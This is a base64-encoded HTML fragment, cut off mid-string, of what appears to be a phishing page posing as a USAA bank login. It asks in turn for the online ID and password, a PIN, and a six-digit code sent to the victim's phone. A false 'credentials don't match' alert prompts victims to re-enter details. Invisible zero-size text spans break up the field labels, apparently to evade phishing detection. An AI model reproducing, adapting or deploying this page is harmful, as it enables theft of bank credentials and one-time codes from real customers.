AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZmlsbD0iI0FCMDgwRSIgZD0iTTE1LjksMTMuNkw5LjIsMS4zYy0wLjYtMC45LTEuNy0wLjktMi4zLDBMMC4xLDEzLjZjLTAuNCwwLjgsMC4xLDEuNywxLjIsMS43aDEzLjRDMTUuNywxNS4zLDE2LjMsMTQuNCwxNS45LDEzLjZ6IE04LDEzYy0wLjYsMC0xLjItMC41LTEuMi0xLjJzMC41LTEuMiwxLjItMS4yczEuMiwwLjUsMS4yLDEuMlM4LjYsMTMsOCwxM3ogTTguNiw5LjVINy40TDYuOCw0LjhoMi4zTDguNiw5LjV6Ij48L3BhdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+PHNwYW4gY2xhc3M9InNjcmVlblJlYWRlciI+VXJnZW50IEFsZXJ0OiA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1hbGVydC1tZXNzYWdlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9Im1pYW0tYTEtZXJyLXBhciIgaWQ9ImVycmkiIHJvbGU9ImFsZXJ0Ij5Tb3JyeSwgdGhlIGNyZWRlbnQ8Zm9udCBzdHlsZT0iY29sb3I6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjBweCI+Qzk0MDAxPC9mb250PmlhbHMgeW91IGVudGVyZWQgZG9lc24ndCBtYXRjaCB3aGF0IHdlIGhhdmUgb248Zm9udCBzdHlsZT0iY29sb3I6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjBweCI+SDcyOTcxPC9mb250PiBmaWxlLjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC10ZXh0SW5wdXQgdXNhYS1mb3JtLXY1LTktMC1maWVsZFdyYXBwZXIgbWlhbS1mb3JtLWlkLWlucHV0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1ibG9jayBjb2wtMS0xIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9IiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48bGFiZWwgZm9yPSJ1c2FhLWZvcm0tdjUtOS0wLWlucHV0LTJmdDE4eDZ5bjdtMyIgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtZmllbGRMYWJlbCB1c2FhLWZvcm0tdjUtOS0wLWZpZWxkV3JhcHBlci1sYWJlbCI+PHNwYW4gYXJpYS1oaWRkZW49ImZhbHNlIiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1maWVsZExhYmVsLXRleHQiPk9uPGZvbnQgc3R5bGU9ImNvbG9yOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZTowcHgiPkU4MTUxMDwvZm9udD5saW5lIEk8Zm9udCBzdHlsZT0iY29sb3I6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjBweCI+SzIwMDI4PC9mb250PkQ8L3NwYW4+PC9sYWJlbD48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJ1c2FhLWZvcm0tdjUtOS0wLWlucHV0LTJmdDE4eDZ5bjdtMy1lcnJvck1lc3NhZ2UiIGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWZpZWxkV3JhcHBlci1lcnJvck1lc3NhZ2UiIGRhdGEtZXJyb3ItbWVzc2FnZT0iIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2NyZWVuUmVhZGVyIiByb2xlPSJhbGVydCI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+PHNwYW4gY2xhc3M9InVzYWEtaW5wdXQiPjxpbnB1dCBuYW1lPSJ1c2VybmFtZSIgYXJpYS1pbnZhbGlkPSJmYWxzZSIgYXV0b2NvbXBsZXRlPSJvZmYiIGlkPSJ1c2FhLWZvcm0tdjUtOS0wLWlucHV0LTJmdDE4eDZ5bjdtMyIgdHlwZT0idGV4dCIgb25mb2N1cz0ib290aCgwKSIgb25ibHVyPSJvb3RoKDIpIiBvbmlucHV0PSJvb3RoKDIpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcm9uZycpLmNsYXNzTGlzdC5hZGQoJ2hpZGRlbicpOyIgcmVxdWlyZWQ9IiI+PHNwYW4gY2xhc3M9ImtleWJvYXJkRm9jdXNSaW5nIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9zcGFuPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2V5Ym9hcmRGb2N1c1JpbmciPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaG93LWhpZGUtcGFzcy13cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC10ZXh0SW5wdXQgdXNhYS1mb3JtLXY1LTktMC1maWVsZFdyYXBwZXIgbWlhbS1tYXNrZWQtaW5wdXQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1ibG9jayB1c2FhLWZvcm0tdjUtOS0wLWJsb2NrLS1mb2N1c2VkIGNvbC0xLTEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PGxhYmVsIGZvcj0idXNhYS1mb3JtLXY1LTktMC1pbnB1dC1pY3psNmlndzl0bCIgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtZmllbGRMYWJlbCB1c2FhLWZvcm0tdjUtOS0wLWZpZWxkV3JhcHBlci1sYWJlbCI+PHNwYW4gYXJpYS1oaWRkZW49ImZhbHNlIiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1maWVsZExhYmVsLXRleHQiPlBhPGZvbnQgc3R5bGU9ImNvbG9yOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZTowcHgiPlA0ODY5MjwvZm9udD5zczxmb250IHN0eWxlPSJjb2xvcjp0cmFuc3BhcmVudDtmb250LXNpemU6MHB4Ij5MNzYxMzU8L2ZvbnQ+d29yZDwvc3Bhbj48L2xhYmVsPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0idXNhYS1mb3JtLXY1LTktMC1pbnB1dC1pY3psNmlndzl0bC1lcnJvck1lc3NhZ2UiIGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWZpZWxkV3JhcHBlci1lcnJvck1lc3NhZ2UiIGRhdGEtZXJyb3ItbWVzc2FnZT0iIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNjcmVlblJlYWRlciIgcm9sZT0iYWxlcnQiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj48c3BhbiBjbGFzcz0idXNhYS1pbnB1dCI+PGlucHV0IG5hbWU9InBhc3N3b3JkIiBpZD0icHN3IiBhcmlhLWludmFsaWQ9ImZhbHNlIiBhdXRvY29tcGxldGU9Im9mZiIgb25mb2N1cz0ib290aCgwKSIgb25ibHVyPSJvb3RoKDIpIiBvbmlucHV0PSJvb3RoKDIpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcm9uZycpLmNsYXNzTGlzdC5hZGQoJ2hpZGRlbicpOyIgdHlwZT0icGFzc3dvcmQiIHJlcXVpcmVkPSIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InN1Ym1tdCIgdmFsdWU9IjI1ODM5YWU2Nzc2ZDA5YzI2YzZiMmIwMTEwYWJhNTlmIj48c3BhbiBjbGFzcz0ia2V5Ym9hcmRGb2N1c1JpbmciIGFyaWEtaGlkZGVuPSJ0cnVlIj48L3NwYW4+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImtleWJvYXJkRm9jdXNSaW5nIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj48YnV0dG9uIHRhYmluZGV4PSIwIiB0eXBlPSJidXR0b24iIGNsYXNzPSJzaG93LWhpZGUtdHJpZ2dlciB1c2FhLWJ1dHRvbjQiIHJvbGU9ImJ1dHRvbiIgb25jbGljaz0ic2hvd3BzdygpOyI+PHNwYW4gYXJpYS1saXZlPSJvZmYiIGFyaWEtaGlkZGVuPSJ0cnVlIj5TaG93PC9zcGFuPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtYmxvY2sgY29sLTEtMSBtaWFtLWNoZWNrYm94LWZpZWxkIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1jaGVja2JveCI+PGlucHV0IGNsYXNzPSJ1c2FhLWNoZWNrYm94LWlucHV0IiB0eXBlPSJjaGVja2JveCIgaWQ9InVzYWEtZm9ybS12NS05LTAtY2hlY2tib3gteDVlN3J5ajhlMG8iIGFyaWEtbGFiZWxsZWRieT0idXNhYS1mb3JtLXY1LTktMC1jaGVja2JveC14NWU3cnlqOGUwby1sYWJlbCI+PGxhYmVsIGNsYXNzPSJ1c2FhLWNoZWNrYm94LWxhYmVsIiBmb3I9InVzYWEtZm9ybS12NS05LTAtY2hlY2tib3gteDVlN3J5ajhlMG8iIGlkPSJ1c2FhLWZvcm0tdjUtOS0wLWNoZWNrYm94LXg1ZTdyeWo4ZTBvLWxhYmVsIj5SZW1lbWI8Zm9udCBzdHlsZT0iY29sb3I6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjBweCI+RjI5MDA2PC9mb250PmVyIHRoaXMgYnI8Zm9udCBzdHlsZT0iY29sb3I6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjBweCI+MjQxODQzPC9mb250Pm93czxmb250IHN0eWxlPSJjb2xvcjp0cmFuc3BhcmVudDtmb250LXNpemU6MHB4Ij5EMTcyNjI8L2ZvbnQ+ZXIgdG8gbG9nIG9uIGZhc3Q8Zm9udCBzdHlsZT0iY29sb3I6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjBweCI+QzYwODAxPC9mb250PmVyIG5leHQgdGltZS48c3BhbiBjbGFzcz0idXNhYS1jaGVja2JveC1wc2V1ZG9DaGVja2JveCIgYXJpYS1oaWRkZW49InRydWUiPjwvc3Bhbj48c3BhbiBjbGFzcz0ia2V5Ym9hcmRGb2N1c1JpbmciIGFyaWEtaGlkZGVuPSJ0cnVlIj48L3NwYW4+PC9sYWJlbD48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2V5Ym9hcmRGb2N1c1JpbmciPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJ1c2FhLWJ1dHRvbjQgbWlhbS1idG4tbmV4dCBwYXNzLXN1Ym1pdC1idG4gdXNhYS1idXR0b240LS1wcmltYXJ5IHNwaW4iIGlkPSJuZXh0QnRuIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPk5leHQ8L3NwYW4+PC9idXR0b24+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWxwLWxpbmsiPjxhIHRhYmluZGV4PSIwIj5JIG5lZWQgaGVscCBsb2dnaW5nIG9uPC9hPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtaWFtLWxvZ29uLWd1dHRlciIgdGFiaW5kZXg9Ii0xIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoJCQkJCQkJPC9kaXY+CgkJCQkJCQk8ZGl2IGNsYXNzPSJjb250ZW50QXJlYSIgc3R5bGU9ImRpc3BsYXk6bm9uZSIgaWQ9InN0ZXAyIj4KCQkJCQkJCTxkaXYgY2xhc3M9Im9ubGluZS1pZCBtaWFtLWxvZ29uLXdyYXBwZXIiIHRhYmluZGV4PSItMSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtaWFtLWxvZ29uLWd1dHRlciI+PC9kaXY+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWlhbS1sb2dvbi1maWVsZHNldCBsb2dvbi13cmFwcGVyLW1haW4tY29udGFpbiI+CiAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1pYW0tbG9nb24tZm9ybSIgaWQ9InZlcmlmeSI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ibWFpbi1sb2dvbi13cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICAgIDxoMiBjbGFzcz0ibWlhbS1mb3JtLXRpdGxlIj5QSU4gVmVyaWZpY2F0aW9uPC9oMj4KICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPSJmb3JtMiIgYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtZm9ybUdyb3VwLXdyYXBwZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtZm9ybUdyb3VwIj4KCgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtdGV4dElucHV0IHVzYWEtZm9ybS12NS05LTAtZmllbGRXcmFwcGVyIG1pYW0tZm9ybS1pZC1pbnB1dCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtYmxvY2sgY29sLTEtMSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9InVzYWEtZm9ybS12NS05LTAtaW5wdXQteHE3d3dmeTVyNWxzIiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1maWVsZExhYmVsIHVzYWEtZm9ybS12NS05LTAtZmllbGRXcmFwcGVyLWxhYmVsIj48c3BhbiBhcmlhLWhpZGRlbj0iZmFsc2UiIGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWZpZWxkTGFiZWwtdGV4dCI+UElOPC9zcGFuPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InVzYWEtZm9ybS12NS05LTAtaW5wdXQteHE3d3dmeTVyNWxzLWVycm9yTWVzc2FnZSIgY2xhc3M9InVzYWEtZm9ybS12NS05LTAtZmllbGRXcmFwcGVyLWVycm9yTWVzc2FnZSIgZGF0YS1lcnJvci1tZXNzYWdlPSIiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzY3JlZW5SZWFkZXIiIHJvbGU9ImFsZXJ0Ij48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InVzYWEtaW5wdXQiPjxpbnB1dCBwYXR0ZXJuPSJeWzAtOV0qJCIgbmFtZT0icGluIiBhcmlhLWludmFsaWQ9ImZhbHNlIiBhdXRvY29tcGxldGU9Im9mZiIgaWQ9InVzYWEtZm9ybS12NS05LTAtaW5wdXQteHE3d3dmeTVyNWxzIiB0eXBlPSJwYXNzd29yZCIgYXJpYS1kZXNjcmliZWRieT0idXNhYS1mb3JtLXY1LTktMC1pbnB1dC14cTd3d2Z5NXI1bHMtZXJyb3JNZXNzYWdlIHVuZGVmaW5lZCIgdmFsdWU9IiIgcGxhY2Vob2xkZXI9IiIgcmVxdWlyZWQ9IiIgLz48c3BhbiBjbGFzcz0ia2V5Ym9hcmRGb2N1c1JpbmciIGFyaWEtaGlkZGVuPSJ0cnVlIj48L3NwYW4+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImtleWJvYXJkRm9jdXNSaW5nIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCgoKCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1ibG9jayBjb2wtMS0xIG1pYW0tY2hlY2tib3gtZmllbGQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLWNoZWNrYm94Ij4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJrZXlib2FyZEZvY3VzUmluZyI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0idXNhYS1idXR0b240IG1pYW0tYnRuLW5leHQgcGFzcy1zdWJtaXQtYnRuIHVzYWEtYnV0dG9uNC0tcHJpbWFyeSIgYXJpYS1sYWJlbGxlZGJ5PSJuZXh0QnRuVmFsaWRhdGlvbnMiIGFyaWEtbGl2ZT0icG9saXRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5OZXh0PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVscC1saW5rIj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0YWJpbmRleD0iMCI+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgPC9kaXY+CgkJCQkgIDxkaXYgY2xhc3M9Im1pYW0tbG9nb24tZm9ybSIgaWQ9ImxvYWRpbmciIHN0eWxlPSJkaXNwbGF5Om5vbmUiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9Im1haW4tbG9nb24td3JhcHBlciI+CiAgICAgICAgICAgICAgICAgICAgICA8aDIgY2xhc3M9Im1pYW0tZm9ybS10aXRsZSIgc3R5bGU9ImZvbnQtc2l6ZToxNXB4Ij5QbGVhc2Ugd2FpdC4uLldoaWxlIHdlIHZlcmlmeSB5b3VyIGRldmljZTwvaDI+CiAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1mb3JtR3JvdXAtd3JhcHBlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1mb3JtR3JvdXAiPgoKCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC10ZXh0SW5wdXQgdXNhYS1mb3JtLXY1LTktMC1maWVsZFdyYXBwZXIgbWlhbS1mb3JtLWlkLWlucHV0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXNhYS1mb3JtLXY1LTktMC1ibG9jayBjb2wtMS0xIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZToxNXB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICBDaGVjayBZb3VyIFBob25lPGJyPjxicj48aW1nIHNyYz0iYXNzZXRzL3NwaW4uZ2lmIj48YnI+PGJyPkZvciB5b3VyIHByb3RlY3Rpb24gd2Ugd2lsbCBzZW5kIHlvdSBhIHRlbXBvcmFyeSBpZGVudGlmaWNhdGlvbiBjb2RlIHRvIHlvdXIgbW9iaWxlIHRvIHByb2NlZWQKICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ia2V5Ym9hcmRGb2N1c1JpbmciPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKCgoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWJsb2NrIGNvbC0xLTEgbWlhbS1jaGVja2JveC1maWVsZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzYWEtY2hlY2tib3giPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImtleWJvYXJkRm9jdXNSaW5nIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVscC1saW5rIj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0YWJpbmRleD0iMCI+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1pYW0tbG9nb24tZ3V0dGVyIiB0YWJpbmRleD0iLTEiPjwvZGl2PgogICAgICAgICAgICAgIDwvZGl2PgoJCQkJCQkJPC9kaXY+CgkJCQkJCQk8ZGl2IGNsYXNzPSJjb250ZW50QXJlYSIgc3R5bGU9ImRpc3BsYXk6bm9uZSIgaWQ9InN0ZXAzIj4KCQkJCQkJCTxkaXYgY2xhc3M9Im9ubGluZS1pZCBtaWFtLWxvZ29uLXdyYXBwZXIiIHRhYmluZGV4PSItMSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtaWFtLWxvZ29uLWd1dHRlciI+PC9kaXY+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWlhbS1sb2dvbi1maWVsZHNldCBsb2dvbi13cmFwcGVyLW1haW4tY29udGFpbiI+CiAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1pYW0tbG9nb24tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ibWFpbi1sb2dvbi13cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICAgIDxoNiBjbGFzcz0ibWlhbS1mb3JtLXRpdGxlIiBzdHlsZT0iZm9udC1zaXplOjE1cHgiPldlIHNlbnQgYSA2LWRpZ2l0IHNlY3VyaXR5IGNvZGUgdG8geW91ciByZWdpc3RlcmVkIHBob25lIG51bWJlcjwvaDY+CiAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBpZD0iZm9ybTMiIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLWZvcm1Hcm91cC13cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1c2FhLWZvcm0tdjUtOS0wLW